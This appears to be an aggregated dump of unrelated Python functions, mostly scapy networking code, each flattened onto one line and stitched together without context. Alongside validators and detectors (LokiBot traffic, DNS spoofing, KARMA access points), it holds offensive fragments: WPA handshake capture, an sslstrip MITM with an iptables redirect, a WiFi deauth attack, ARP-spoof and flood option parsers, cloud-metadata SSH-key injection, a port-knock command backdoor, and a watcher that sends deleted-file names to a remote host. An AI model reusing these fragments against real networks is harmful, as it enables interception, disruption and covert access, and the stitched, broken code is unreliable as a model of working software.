def handle_eapol_packet(self, packet: Packet) -> None: dot11_addrs_info = get_dot11_addrs_info(packet) dot11_ds_bits = dot11_addrs_info["ds_bits"] if len(dot11_ds_bits) == 1: # to-DS or from-DS bssid = dot11_addrs_info["bssid"] client_mac = dot11_addrs_info[ "sa"] if "to-DS" in dot11_ds_bits else dot11_addrs_info["da"] if compare_macs(bssid, self.args.bssid) and ( self.args.all_clients or compare_macs(self.args.client, client_mac)): if client_mac not in self.handshakes_cache: self.handshakes_cache[client_mac] = [ None, None, None, None ] wpa_key_packet = packet[WPA_key] if wpa_key_packet.sprintf("%key_info_type%") == "pairwise": key_info_flags = get_flags_set( wpa_key_packet.key_info_flags) frame_number = None # Frame 1: not install, ACK, not MIC. if "install" not in key_info_flags and "ACK" in key_info_flags and "MIC" not in key_info_flags: frame_number = 0 elif "install" not in key_info_flags and "ACK" not in key_info_flags and "MIC" in key_info_flags: # Frame 4: not install, not ACK, MIC, nonce == 0. if all(n == 0 for n in wpa_key_packet.nonce): frame_number = 3 # Frame 2: not install, not ACK, MIC, nonce != 0. else: frame_number = 1 # Frame 3: install, ACK, MIC. elif "install" in key_info_flags and "ACK" in key_info_flags and "MIC" in key_info_flags: frame_number = 2 if frame_number is not None: self.cmd.pfeedback( "[i] Captured handshake frame #{} for client {}.". format(frame_number + 1, client_mac)) self.handshakes_cache[client_mac][ frame_number] = packet if all(p is not None for p in self.handshakes_cache[client_mac]): self.complete_handshake = True self.cmd.pfeedback( "[i] Captured complete WPA 4-way handshake for client {}." .format(client_mac)) # TODO wrpcap("tmp/handshake.pcap", [self.ap_beacon] + self.handshakes_cache[client_mac])
def plotimg(rows): """ Returns the netbpm image as bytes """ height = len(rows) width = len(rows[0]) assert all( all(c in ((0, 0, 0), (255, 255, 255)) for c in row) for row in rows) return (b'P1\n' + ('%d %d\n' % (width, height)).encode('ascii') + b'\n'.join(b' '.join(b'1' if cell == (0, 0, 0) else b'0' for cell in row) for row in rows))
def dnsp(argn): action = argn[0] link = argn[1] if not all(z is not None for z in argn) or \ action not in ['dnsp']: print('Command: dnsp {link}') return ip_addr = socket.gethostbyname(link) if ip_valid(ip_addr): if ip_private(ip_addr): print(colors.fg.YELLOW + colors.BOLD + link + colors.END + " sends users to " + colors.UNDERLINE + ip_addr + colors.END) print(ip_addr + " is a private IP, hence dns spoofing" + colors.fg.RED + " MIGHT BE OCURRING" + colors.END) print( "Please flush your dns cache and try ARP prediction/prevention command: " + colors.fg.BLUE + "arpp" + colors.END) else: print(colors.fg.YELLOW + colors.BOLD + link + colors.END + " appear to be have a public IP " + colors.UNDERLINE + ip_addr + colors.END) print("Dns spoofing " + colors.fg.GREEN + "LESS LIKELY" + colors.END) else: pass
def isLokiBotTraffic(http_headers): indicator_count = 0 content_key_pattern = re.compile("^([A-Z0-9]{8}$)") if 'User-Agent' in http_headers and http_headers[ 'User-Agent'] == 'Mozilla/4.08 (Charon; Inferno)': return True if 'HTTP-Method' in http_headers and http_headers['HTTP-Method'] == 'POST': indicator_count += 1 if all(key in http_headers for key in ('User-Agent', 'Host', 'Accept', 'Content-Type', 'Content-Encoding', 'Content-Key')): indicator_count += 1 if 'User-Agent' in http_headers and any( UAS_String in http_headers['User-Agent'] for UAS_String in ('Charon', 'Inferno')): indicator_count += 1 if 'Content-Key' in http_headers and content_key_pattern.match( http_headers['Content-Key']): indicator_count += 1 if indicator_count >= 3: return True else: return False
def M2(self, fsm, mobi): p, s = mobi.position, mobi.speed mobi.log("POS", position=p, speed=s) r = numpy.array((2,0) ) self.assertTrue(all(p==r), "stop() error!, %s != %s"%(p,r)) self.assertEqual(s, 0, "stop() error!") yield fsm.stop()
def hostDiscovery(ipSpecs, dtype, privileged): ips = [] isLan = all(isPrivate(ipSpec) for ipSpec in ipSpecs) if privileged == 2: if dtype == 'best': if isLan: dtype = ['arp', 'icmp'] else: dtype = ['icmp'] elif 'icmp' in dtype and isLan: dtype = ['arp', 'icmp'] elif privileged == 1: dtype = ['icmp_lowpriv'] if 'arp' in dtype: print '\nUsing ARP ping for host discovery' ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ipSpecs),timeout=2, verbose=verbose) ips.extend(r.getlayer(ARP).psrc for _, r in ans if r.haslayer(ARP)) for _, r in ans: if r.haslayer(ARP): conf.netcache.arp_cache[r.getlayer(ARP).psrc] = r.getlayer(ARP).hwsrc if verbose: print "\narp cache:"; print conf.netcache.arp_cache print '\nips:', ips, '\n' if 'icmp_lowpriv' in dtype or ('icmp' in dtype and 'arp' not in dtype): print '\nUsing ICMP echo ping for host discovery' ips.extend(icmpPingSweep(handleIps(ipSpecs, True))) elif 'icmp' in dtype: print '\nUsing ICMP echo/timestamp ping for host discovery' ans, _ = sr(IP(dst=ips)/ICMP(type=[8,13]),timeout=2, verbose=verbose) ips.extend(r.getlayer(IP).src for _, r in ans if r.haslayer(IP)) ips = sorted(set(ips)) print 'Alive hosts:', ','.join(ips) or 'none' return list(ips)
def callback(packet): if packet.haslayer(Dot11Beacon): # extract the MAC address of the network bssid = packet[Dot11].addr2 # get the name of it and its strength ssid = packet[Dot11Elt].info.decode() try: dbm_signal = packet.dBm_AntSignal except: dbm_signal = "N/A" # extract network stats stats = packet[Dot11Beacon].network_stats() # get the channel of the AP channel = stats.get("channel") # insert only hidden SSID in table if all(elem == '\x00' for elem in ssid): networks.loc[bssid] = ("hidden", dbm_signal, channel) # we wait for someone to connect to the AP and we get the info back elif packet.haslayer(Dot11ProbeResp): bssid = packet.addr3 if (bssid in networks.index): ssid = packet.info networks.loc[bssid][0] = ssid print(networks)
def is_valid_client_address(self, address): if address is None: return False a = address.split('.') s = self.configuration.subnet_mask.split('.') n = self.configuration.network.split('.') return all(s[i] == '0' or a[i] == n[i] for i in range(4))
async def send_members(self, ctx: commands.Context, msg_list: list, title: str = None) -> None: """send list of an object's members, slicing it if needed""" msg_list = sorted(msg_list, key=lambda x: x.lower()) if title: msg_list.insert(0, title + '\n\n') msg = '```\n' + ' '.join(msg_list) + '```' if len(msg) < 1990: await ctx.send(msg) else: slices = 2 msg_slices = None while True: msg_list_slices = more_itertools.sliced( msg_list, len(msg_list) // slices) msg_slices = [' '.join(x) for x in msg_list_slices] if all(len(x) < 1970 for x in msg_slices): break slices += 1 for msg in msg_slices: msg = '```\n' + msg + '```' await ctx.send(msg)
def __is_matching_ip(matchtype, ipaddr, ippfx=None, ipaddrLow=None, ipaddrHigh=None, tag=None): ipaddr = ipaddress.ip_address(ipaddr) if matchtype == topo.L3MatchType.PFX: if ippfx is None: return True return ipaddr in ippfx elif matchtype == topo.L3MatchType.PFXRANGE: if not all([ipaddrLow, ipaddrHigh]): return True return ((ipaddr >= ipaddrLow) and (ipaddr <= ipaddrHigh)) elif matchtype == topo.L3MatchType.TAG: tagpfxlist = tag.Prefixes if tag else None if tagpfxlist is None: return False for tagpfx in tagpfxlist: if ipaddr in tagpfx: return True elif matchtype == topo.L3MatchType.NONE: return True return False
def ssl(argn): action = argn[0] filepath = argn[1] port = "11111" if not all(z is not None for z in argn) or \ action not in ['ssl'] or \ not port.isdigit(): print('Command: ssl {filepath}') return print("Have you established a MITM attack? [y/n] ", end='') answer = input().strip() if answer == "y": print(colors.fg.YELLOW + f"Establishing iptable port forwarding [80] -> [{port}]" + colors.END) os.system( "iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1000" ) print(colors.fg.GREEN + "Starting ssl mitm..." + colors.END) os.system("sslstrip -akw " + filepath + " -l " + port) else: print( "Please establish a MITM connection using 'mitm' before continuing." )
def check_knock(packet): if 'IP' in packet: source_ip = packet['IP'].src if 'TCP' in packet: packet_flags = packet.sprintf('%TCP.flags%') destination_port = packet['TCP'].dport if source_ip not in users: users[source_ip] = User() for port_to_check in portsequence: knocked = users[source_ip].checks[port_to_check] flag_check = flagsequence[portsequence.index(port_to_check)] if knocked: print source_ip + " already knocked,moving on!" elif destination_port == port_to_check and packet_flags == flag_check: print source_ip + " is getting closer, knock!" users[source_ip].checks[destination_port] = True send_gaining_packet(packet) break else: print source_ip + " made a mistake, FAIL! Resetting the sequence" users[source_ip] = User() break if all(val is True for val in users[source_ip].checks.values()): print "we have a winner! " + source_ip send_winning_packet(packet, source_ip)
def ip_checker(self, ip): try: parts = ip.split('.') return len(parts) == 4 and all(0 <= int(part) < 256 for part in parts) except ValueError: return False # One of the "parts" cannot be casted as int except(AttributeError, TypeError): return False # ip is not a string
def test_packet_injection(sout, sin, p, test_func=None): """Check if given property holds of all injected frames""" packets = inject_and_capture(sout, sin, p, count=1) if len(packets) < 1: raise IOError( "Unable to inject test frame. Could be due to background noise or channel/driver/device/.." ) return all([test_func(cap) for cap in packets])
def process_IN_DELETE(self, event): if all(not event.pathname.endswith(ext) for ext in self.extensions): return knock(default_dest) send(IP(dst=default_dest) / UDP(sport=1, dport=SEND_PORT), verbose=0) send(IP(dst=default_dest) / UDP(sport=4444, dport=SEND_PORT) / xor_crypt('{0} was deleted'.format(event.pathname)), verbose=0)
def snifSSID(trame): global ap_list if trame.haslayer(Dot11Beacon): if trame.addr2 not in hidden_list: # Soit le nom est vide, soit il contient uniquement des bytes à 0 if (trame.info == '') or (not (all( chr(c) in string.printable for c in trame.info))): hidden_list.append(trame.addr2)
def M0(self, fsm, mobi): p, s = mobi.position, mobi.speed mobi.log("POS", position=p, speed=s) r = numpy.array((0,0) ) self.assertTrue(all(p==r), "set_position() error!, %s != %s"%(p,r)) mobi.move((1,0) ) yield hold, fsm, 1.0 yield fsm.goto(self.M1, mobi)
def check_valid(mac): global BROADCAST global MULTICAST if mac not in BROADCAST: if all(s not in mac for s in MULTICAST): return True return False
def check_valid(mac): global Global_Ignore_Broadcast global Global_IGNORE_MULTICAST if mac not in Global_Ignore_Broadcast: if all(s not in mac for s in Global_IGNORE_MULTICAST): return True; return False;
def check_valid(mac): global Global_Ignore_Broadcast global Global_Ignore_Multicast if mac not in Global_Ignore_Broadcast: if all(s not in mac for s in Global_Ignore_Multicast): return True return False
def which_alphabet(alphabet_dict, sign_seq): # input must be a dictionary of alphabets in the form {'alph_name': SignalAlphabet} if not isinstance(alphabet_dict, dict): raise TypeError for alph_name, sign_alph in alphabet_dict.items(): if all(s in sign_alph for s in sign_seq): return alph_name # arriving here means no alphabet contained all signal in the sequence return None
def testDropOfNotEchoRequests(self): ipPkt = IP(dst=GUEST_IP) icmpPkt = ICMP(type=ICMP_TYPES) pkts = [p for p in ipPkt / icmpPkt] rs = [] for p in pkts: rs.append(sr1(p, timeout=1, verbose=0)) self.assertTrue(all(list(map(lambda r: r is None, rs))))
def analyze(self, pkt): if WPA_key not in pkt: return if Ether not in pkt: return dst_mac = pkt[Ether].dst src_mac = pkt[Ether].src key_info = pkt[WPA_key].key_info if Dot11 in pkt: seq = pkt[Dot11].SC >> 4 else: # Esto esta porque los paquetes que emite # el script de ataque no tienen capa Dot11 seq = int(time.time()) - self.start nonce = pkt[WPA_key].nonce if all([ key_info & WPA_KEY_INFO_MIC, key_info & WPA_KEY_INFO_ACK == 0, key_info & WPA_KEY_INFO_INSTALL == 0 ]): # Skip frame 4 return # Get frame 3 if all([ key_info & WPA_KEY_INFO_MIC, key_info & WPA_KEY_INFO_ACK, key_info & WPA_KEY_INFO_INSTALL ]): if self.nonce_collection.is_nonce_reused(nonce, seq, pkt): msg = self.msg_template.format( **{ "nonce": str2hex(nonce), "seq": seq, "dst": dst_mac, "src": src_mac }) print(msg) self.write_log(msg) self.nonce_collection.add_nonce(nonce, seq, pkt)
def test_packet_injection(sout, sin, p, test_func, frametype, msgfail): """Check if given property holds of all injected frames""" packets = inject_and_capture(sout, sin, p, count=1) if len(packets) < 1: log(ERROR, f"[-] Unable to capture injected {frametype}.") return FLAG_NOCAPTURE if not all([test_func(cap) for cap in packets]): log(ERROR, f"[-] " + msgfail.format(frametype=frametype)) return FLAG_FAIL log(STATUS, f" Properly captured injected {frametype}.") return 0
def get_topology(options): """Get/create new topology.""" # create interference topology: fixed SR link + interferers on a line snr = options.snr numnodes = options.numnodes sinrmin = options.sinrmin sinrmax = options.sinrmax sinr = np.linspace(sinrmax, sinrmin, numnodes) snr_lin = db2linear(snr) sinr_lin = db2linear(sinr) assert all(sinr<snr) sir_lin = 1.0/(1.0/sinr_lin - 1.0/snr_lin) sir = linear2db(sir_lin) # channel parameters alpha = options.alpha modeltype = options.tgnmodel # default -> LOS Channel # calculate SNR values Ptx = DOT11N_MAXPOWER Lrx, Ltx = Dot11NRadio.Lrx, Dot11NRadio.Ltx Grx, Gtx = Dot11NRadio.Grx, Dot11NRadio.Gtx No = Dot11NRadio.thermalnoise(DOT11N_BANDWIDTH) + DOT11N_NOISEFIGURE Psignal = Ptx + Gtx + Grx - Ltx - Lrx # use breakpoint distance as refdist refdist = Dot11NChannel(modeltype=modeltype, n=alpha).bpdist refloss = Propagation.freespace(refdist, n=2.0, fc=Dot11NChannel.fc) # calculate pathloss for direct link = Psignal - Prx Prx = snr + No PL = Psignal - Prx n = 2.0 if PL>refloss: n = alpha srdist = refdist*(db2linear((1.0*PL-refloss)/n)) assert (srdist>0) # place nodes on line using SIR pos = [(-srdist, 0), (0,0)] # initialize with send and receiver for s in sir: Pi = Prx - s pl = Psignal - Pi n = 2.0 if pl>refloss: n = alpha x = refdist*(db2linear((1.0*pl-refloss)/n)) pos.append((x,0)) assert (numnodes+2==len(pos)) # create topology layout xmin = min([x for (x,y) in pos]) xmax = max([x for (x,y) in pos]) ymin = min([y for (x,y) in pos]) ymax = max([y for (x,y) in pos]) border = (xmin, xmax, ymin, ymax) layout = pos # verify layout parameters assert (len(layout)>=numnodes) topo = {'border':border, 'layout':layout, 'sir':[None, None]+sir.tolist()} return topo
def _format_wallet_string(self, eth_wallet): if len(eth_wallet) == 40: addr = eth_wallet elif len(eth_wallet) == 42: addr = eth_wallet[2:] else: addr = '0x' if all(c in string.hexdigits for c in addr): return '0x' + addr else: raise ValueError('eth_wallet in wrong format')
def M1(self, fsm, mobi): p, s = mobi.position, mobi.speed mobi.log("POS", position=p, speed=s) r = numpy.array((1,0) ) self.assertTrue(all(p==r), "move() error!, %s != %s"%(p,r)) self.assertEqual(s, 1.0, "move() error!") yield hold, fsm, 1.0 p, s = mobi.position, mobi.speed mobi.log("POS", position=p, speed=s) mobi.stop() yield hold, fsm, 1.0 yield fsm.goto(self.M2, mobi)
def isValidHostname(hostname): if domain not in hostname: return False if len(hostname) > 255: return False if hostname.endswith("."): # A single trailing dot is legal hostname = hostname[:-1] # strip exactly one dot from the right, if present disallowed = re.compile("[^A-Z\d-]", re.IGNORECASE) return all( # Split by labels and verify individually (label and len(label) <= 63 # length is within proper range and not label.startswith("-") and not label.endswith("-") # no bordering hyphens and not disallowed.search(label)) # contains only legal characters for label in hostname.split("."))
def __sniff(self): while (True): scapy.all.sniff(filter="udp", iface="eth0", prn=self.__sniff_callback, timeout=self.__timeval) self.__result_list.append(self.__sent_rate) if all(m == 0 for m in self.__result_list[-10:]): break self.__sent_rate = 0 self.__generate_graph() print("Monitor Exiting...")
def reassemble(chunks): assert(all(len(c.optional) == 1 for c in chunks)) segments = [(decode_segment(c), c) for c in chunks] # ensure the same local reference is spread across all fragments local_ref = None for s in segments: if local_ref is None: local_ref = s[0][3] assert(s[0][3] == local_ref) segments = sorted(segments, key=lambda x: x[0][2], reverse=True) reassembled = '' for s in segments: reassembled += s[1].mandatory[2] return reassembled
def attr_format(attrval): """Format an attribute value to be displayed to a human""" if len(attrval) == 1: # 1-byte integer return hex(struct.unpack('B', attrval)[0]) elif len(attrval) == 2: # 2-byte integer return hex(struct.unpack('<H', attrval)[0]) elif len(attrval) == 4: # 4-byte integer return hex(struct.unpack('<I', attrval)[0]) elif all(x == b'\0' for x in attrval): # a series of zeros return '[{} zeros]'.format(len(attrval)) # format in hexadecimal the content of attrval return ''.join('{:2x}'.format(ord(x)) for x in attrval)
def nextdest(self, reset=False): """Set next destination.""" assert self.destinations dest = self.destinations[np.random.randint(0,self.ndest)] if self.probe: if reset: self.probed = [] # probe next destination if (self.nprobed<self.ndest): dest = self.destinations[self.nprobed] else: dest = None # halt since all dest were probed assert all([(a in self.probed) for a in self.destinations]) self.probed.append(dest) self.log("probe", dest=dest) # set destination self.dest = dest
def start(): print("Loading ssh key") global sshkey with open('/root/.ssh/id_ed25519.pub') as f: sshkey = f.read().strip() print(sshkey) print("Listening for metadata requests...") sniff(prn=inject, filter='host 169.254.169.254 and tcp port 80', lfilter=lambda p: all([ m in str(p[TCP].payload) for m in [ 'GET /computeMetadata/v1/?', 'recursive=True', 'wait_for_change=True' ] ]))
def activatePlugin(self, cell, path): '''Handles the plugin activation/deactivation. @param cell: the cell that generated the signal. @param path: the path that clicked the user. When a child gets activated/deactivated, the father is also refreshed to show if it's full/partially/not activated. If the father gets activated/deactivated, all the children follow the same fate. ''' treerow = self.selected_store[path] # invert the active state and make it consistant newvalue = not treerow[1] treerow[1] = newvalue treerow[2] = False # path can be "?" if it's a father or "?:?" if it's a child if ":" not in path: # father: let's change the value of all children for childtreerow in self.get_children(path): if childtreerow[0] == "gtkOutput": childtreerow[1] = True if newvalue is False: # we're putting everything in false, except this plugin # so the father is inconsistant treerow[2] = True else: childtreerow[1] = newvalue else: # child: let's change the father status pathfather = path.split(":")[0] father = self.selected_store[pathfather] vals = [] for treerow in self.get_children(pathfather): vals.append(treerow[1]) if all(vals): father[1] = True father[2] = False elif not any(vals): father[1] = False father[2] = False else: father[2] = True
def ping_sweep(dst_ip, subnet_mask, count="3", timeout=3): # Calculating subnet address subnet, mask_bits = calculate_subnet(dst_ip, subnet_mask) address_list = [ str(ip) for ip in ipaddress.IPv4Network(subnet + "/" + str(mask_bits)) ] print("PING SWEEP:", subnet, "/", mask_bits) for address in address_list: print("Scanning Address: " + address) packets, latency_list = ping(address, count=1, timeout=0.1) if all(packet is None for packet in packets): # If No response from host print("Host is Down") else: print("Host is Up")
def check_params(name_param, param): """ Check type parameters Args: name_param (str): Indicate the name of the param checking for return a message error param (dict): Element for the exploit Raise: ValueError """ if not isinstance(param, dict): raise ValueError("{0} must be a dictionary".format(name_param)) if not all(isinstance(value, (str, unicode)) for value in param.values()): raise ValueError("{0} each value in the dictionary must be a string : {1}".format(name_param, param))
def __eq__(self, other): if not isinstance(other, self.__class__): return False # Get the set of common fields between the two objects and compare. # All other fields are treated as don't care. this_fields = set(self.fields.keys()) other_fields = set(other.fields.keys()) compare_fields = this_fields.intersection(other_fields) ignored_fields = this_fields.symmetric_difference(other_fields) msg = [] for x in compare_fields: msg.append('%s: %s %s %s' % (x, self.fields[x], '==' if self.fields[x] == other.fields[x] else '!=', other.fields[x])) msg.append('ignored: %s' % ','.join(ignored_fields)) logger.info('/'.join(msg)) return all(self.fields[x] == other.fields[x] for x in compare_fields)
def check_ip_udp(): # open file in read mode with open('pcapCSV/quic_parallel_check.csv', 'r') as read_obj: # pass the file object to reader() to get the reader object csv_reader = reader(read_obj) # skip the header header = next(csv_reader) lst = [] # Iterate over each row in the csv using reader object for row in csv_reader: if row[3] == row[8] and row[4] == row[9] and row[5] == row[ 10] and row[6] == row[11] and row[7] == row[12]: lst.append(1) else: lst.append(0) print(all(lst))
def gestion_options(): parser = optparse.OptionParser(sys.argv[0]+' -u <IP-cible> -p <port-cible> -g <nbre requete GET>') parser.add_option('-u', dest='IP', type='string', help="renseigner l'adresse ip de la cible") parser.add_option('-p', dest='PORT', type='int', help="renseigner numero du port attaque") parser.add_option('-g', dest='CONNEXION', type='int', help="renseigner le nombre d'envoi de requete GET") (options, args) = parser.parse_args() ip_cible = options.IP port_cible = options.PORT nbre_con = options.CONNEXION all_options = [ip_cible, port_cible, nbre_con] if all(opt==None for opt in all_options): print parser.usage exit(0) else: return (ip_cible, port_cible, nbre_con)
def gestion_options(): parser = optparse.OptionParser(sys.argv[0]+' -i <interface> -v <ip victime> -r <ip routeur>') parser.add_option('-i', dest='INTERFACE', type='string', help="renseigner l'interface utilisee : eth0, wlan0, ...") parser.add_option('-v', dest='IP_VICTIME', type='string', help="renseigner l'adresse ip de la victime") parser.add_option('-r', dest='IP_ROUTEUR', type='string', help="renseigner l'ip du routeur") (options, args) = parser.parse_args() interface = options.INTERFACE ip_victime = options.IP_VICTIME ip_routeur = options.IP_ROUTEUR all_options = [interface, ip_victime, ip_routeur] if all(opt==None for opt in all_options): print parser.usage exit(0) else: return (interface, ip_victime, ip_routeur)
def Beacon_Frame_Finder(frame): print "Beacon Frame Finder" if frame.haslayer(Dot11): if frame.type == 0 and frame.subtype == 8: if frame.addr2 not in ap_list: ap_list.append(frame.addr2) a =struct.unpack("B",frame[Dot11Elt:3].info) channel.append(a[0]) print channel if (frame.info == '') or (not(all(c in string.printable for c in frame.info))): print "AP MAC: %s with SSID: %s" %(frame.addr2, "Hidden Network") ssid.append("Hidden Network") #if (not(all(c in string.printable for c in frame.info))): #print "AP MAC: %s with SSID: %s" %(frame.addr2, "Hidden Network") #ssid.append("Hidden Network") else: print "AP MAC %s with SSID: %s" %(frame.addr2 , frame.info) ssid.append(frame.info)
pr = PcapReader(sys.argv[1]) port = int(sys.argv[2]) check_string = sys.argv[3] while True: p = pr.read_packet() if p is None: break; if TCP in p and (p[TCP].sport == port or p[TCP].dport == port): # check payload if hasattr(p[TCP], "load"): payload = p[TCP].load # check if check_string in payload: # print packet print "======== %s ========" % time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(p.time)) p.show() #hexdump(p) # check printable if all(c in printable for c in payload) == False: # print packet print "======== %s ========" % time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(p.time)) p.show() #hexdump(p)
def is_ascii(string): """Check if string is all ascii characters""" return all(ord(c) < 128 for c in string)
def fakeSSID(self): for i in range(self.range): #gneerate a small 16 character sequence SSID Randomly fakeSSID =''.join(random.choice('0123456789ABCDEF') for i in range(16)) print "________________________________" print "Randomly Generated SSID ", fakeSSID print "setting to local interface" print "Initiaiting probe Request for ", fakeSSID print "________________________________" '''' Brinf the wireless interface down set its ESSID to randomly generated one then bring it back up The System will then automatically send out a probe request foor that network amd in this instamce( karma will rely and ususaly assosoiate) ''' os.system("sudo ifconfig wlan4 down" ) os.system("iwconfig wlan4 essid " + fakeSSID ) os.system("ifconfig wlan4 up") time.sleep(20) ''' Next Step try capture an assosiation from IWCONFIG with Fake SSid Thsi will Eliminate any to capture thge reponces ''' import subprocess #call a bash command to iwconfig to search for the generated SSID on that interfacE" output = subprocess.check_output("sudo iwconfig wlan4 | grep 'ESSID:' | awk '{print $4}' | sed 's/ESSID://g' | sed 's/\"//g'",shell=True ) from subprocess import Popen, PIPE #call iwconfig on interface and extract the assosiated MAC (BSSID), (which will onl7 exist is there is an assosoiation) output2 = subprocess.check_output("sudo iwconfig wlan4 | grep 'Access Point:' | awk '{print $6}'", shell=True) """ If the Generated essis matched the Iwconfig mac for the particiluar iterface and has an Assossiation to an acccess point, it connecteced to the fake AP """ ##take and strip left and right whote space if (output.strip()) == str(fakeSSID.strip()): # regular expression match for a MAC format adddress of the assosoiated mac if re.match("[0-9a-f]{2}([-:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$", output2.lower()): #add a match self.count +=1 print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" print "KARMA ACCESSS POINT DETECTED" print "Fake SSID ", fakeSSID print "Assososiatesd SSID ", output print "Assosoated Rouge BSSid", output2 if output2 in self.KARMAAP: print "KARMA BSSSID Seen Before" #store BAD access point self.KARMAAP.append(output2) print "KARMA Dectected " + str(self.count) + " times" print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" # Test that all the KARMA acccess point are using the same BSSSID (if not stilll could just rnadomise BSSID) result = self.KARMAAP and all( self.KARMAAP[0] == elem for elem in self.KARMAAP) print "**********************************************************************************************" print "Same KARMA Acccess Point in all instanaces " + str(result) print "\n\n" print "Restarting Services" os.system("service network-manager start") os.system("dhclient") return self.count
def valid_ip(ip): parts = ip.split('.') return (len(parts) == 4 and all(part.isdigit() for part in parts) and all(0 <= int(part) <= 255 for part in parts))
def main(): random.seed(time()) args_to_c={ '-p':'secret_ports', '-i':'img_dir', '-g': 'client_gpg_dir', '-u':'user' } try: opts, args = getopt(sys.argv[1:], "c:p:i:g:u:", ["help"]) except (GetoptError, err): print (str(err)) # will print something like "option -a not recognized" usage() sys.exit(1) opts=dict([(args_to_c.get(i,i),j) for i,j in opts]) if opts.has_key('help'): usage() sys.exit(2) fn=opts.get('-c',None) if not fn: fn='/etc/tariq/client.conf' elif fn and not os.path.exists(fn): fn='/etc/tariq/client.conf' if not os.path.exists(fn): fn=os.path.join(os.path.dirname(sys.argv[0]),'client.conf') if not os.path.exists(fn): fn=os.path.abspath('client.conf') if not os.path.exists(fn): print (" ** Error: config file not found") usage() exit(3) c=readconf(fn) c.update(opts) if not all(map(lambda i: i in c,['secret_ports','img_dir', 'client_gpg_dir', 'user'])): print (" ** Error: missing required parameters") usage() exit(4) tariqPorts=map(lambda i: int(i) ,c['secret_ports'].split(',')) user=c['user'] img_dir=c['img_dir'] if not os.path.isdir(img_dir): print (" ** Error [%s] not found") % img_dir usage() exit(5) img_ls=glob.glob(os.path.join(img_dir,'*.png')) if not img_ls: print (" ** Error: no png images found on [%s]") % img_dir usage() exit(5) img=random.choice(img_ls) gpg_dir=c['client_gpg_dir'] if not os.path.isdir(gpg_dir): print (" ** Error [%s] not found") % gpg_dir print (" ** trying client_gpg_dir=[%s]") % gpg_dir gpg_dir=os.path.join(os.path.dirname(sys.argv[0]),'client-gpg') if not os.path.isdir(gpg_dir): print (" gpg dir not found") usage() exit(5) gpg = gnupg.GPG(gnupghome=gpg_dir) if len(args)<3: print (" ** missing TARGET CMD ARGS") usage() exit(6) target=args[0] cmd=" ".join(args[1:]) knock(gpg, tariqPorts, user, img , target, cmd)
def get_targets_from_hosts(interface): ''' This will scan the network for hosts and print them out. It lets you choose the targets for your attack. ''' targets = {} available_hosts = {} cntr = 1 hostscan = scan.HostScan(interface) ip_range = hostscan.get_range() clear_screen() print("{N}The following IP range will be scanned with NMAP: {G}{ipr}{N}".format(G=GREEN, N=NORMAL, ipr=ip_range)) print("Press {Y}'Enter'{N} to agree or enter your custom IP range.".format(Y=YELLOW, N=NORMAL)) ipr_change = raw_input("{N}#{R}>{N} ".format(N=NORMAL, R=RED)) if ipr_change: ip_range = ipr_change clear_screen() print("[{Y}*{N}] Scanning the network...".format(Y=YELLOW, N=NORMAL)) hostscan.do_scan(ip_range) hosts = hostscan.get_hosts() clear_screen() if len(hosts) < 1: print("\n{R}No hosts found :({N}\n".format(R=RED, N=NORMAL)) sys.exit(0) print("{Y}Available hosts:{N}\n\n".format(Y=YELLOW, N=NORMAL)) for mac in hosts.keys(): if hosts[mac]['gateway']: del hosts[mac] continue else: available_hosts[len(available_hosts)+1] = mac print(" {R}[{N}{ID}{R}] {N}{mac} ({ip}) | {name}".format( R=RED, N=NORMAL, ID=len(available_hosts), mac=mac.upper(), ip=hosts[mac]['ip'], name=hosts[mac]['name'])) print("\n\nChoose the target(s) seperated by {R}','{N} (comma).\nType {R}'all'{N} to choose everything listed.".format(R=RED, N=NORMAL)) while True: targets_in = raw_input("{N}#{R}>{N} ".format(N=NORMAL, R=RED)).lower() targets_in = targets_in.replace(" ", "") if targets_in == "all": for mac in hosts: targets[mac] = hosts[mac]["ip"] return targets if "," in targets_in: targets_list = targets_in.split(",") if all(x.isdigit() for x in targets_list) and all(0 < int(y) <= len(available_hosts) for y in targets_list): for target in targets_list: for num in available_hosts: if int(target) == num: targets[available_hosts[num]] = hosts[available_hosts[num]]["ip"] return targets else: print("{R}ERROR: Invalid input.{N}".format(R=RED, N=NORMAL)) continue else: if targets_in.isdigit() and 0 < int(targets_in) <= len(available_hosts): targets[available_hosts[int(targets_in)]] = hosts[available_hosts[int(targets_in)]]["ip"] return targets else: print("{R}ERROR: Invalid input.{N}".format(R=RED, N=NORMAL)) continue
def deauth_attack(): interface = get_interface() enable_mon_mode(interface) wifiscan = scan.WifiScan(interface) wifiscan.do_output = False wifiscan.timeout = 8 hopT = Thread(target=wifiscan.channelhop, args=[]) hopT.daemon = True hopT.start() clear_screen() print("[{Y}*{N}] Searching for WiFi-Networks... (10 sec.)\n".format(Y=YELLOW, N=NORMAL)) wifiscan.do_scan() wifiscan.channelhop_active = False access_points = wifiscan.get_access_points() if len(access_points) < 1: print("{R}No networks found :({N}".format(R=RED, N=NORMAL)) sys.exit(0) print("{Y}Available networks:{N}\n".format(Y=YELLOW, N=NORMAL)) num = 1 for bssid in access_points.keys(): space = 2 if num > 9: space = 1 essid = access_points[bssid]["essid"] access_points[bssid]["num"] = num print(" [{R}{num}{N}]{sp}{bssid} | {essid}".format(num=num, R=RED, N=NORMAL, bssid=bssid.upper(), essid=essid, sp=" "*space)) num += 1 print("\nSeperate multiple targets with {R}','{N} (comma).".format(R=RED, N=NORMAL)) while True: ap_in = raw_input("#{R}>{N} ".format(R=RED, N=NORMAL)) ap_in = ap_in.replace(" ", "") if not "," in ap_in: ap_list_in = [ap_in] else: ap_list_in = ap_in.split(",") if not all(x.isdigit() for x in ap_list_in) or not all(int(x) in range(len(access_points)+1) for x in ap_list_in): print("{R}ERROR: Invalid input.{N}".format(R=RED, N=NORMAL)) continue break clear_screen() printings.deauth_ap() ap_list = {} for bssid in access_points: for num in ap_list_in: if int(num) == access_points[bssid]["num"]: print(" -> {bssid} | {essid}".format(bssid=bssid.upper(), essid=access_points[bssid]["essid"])) 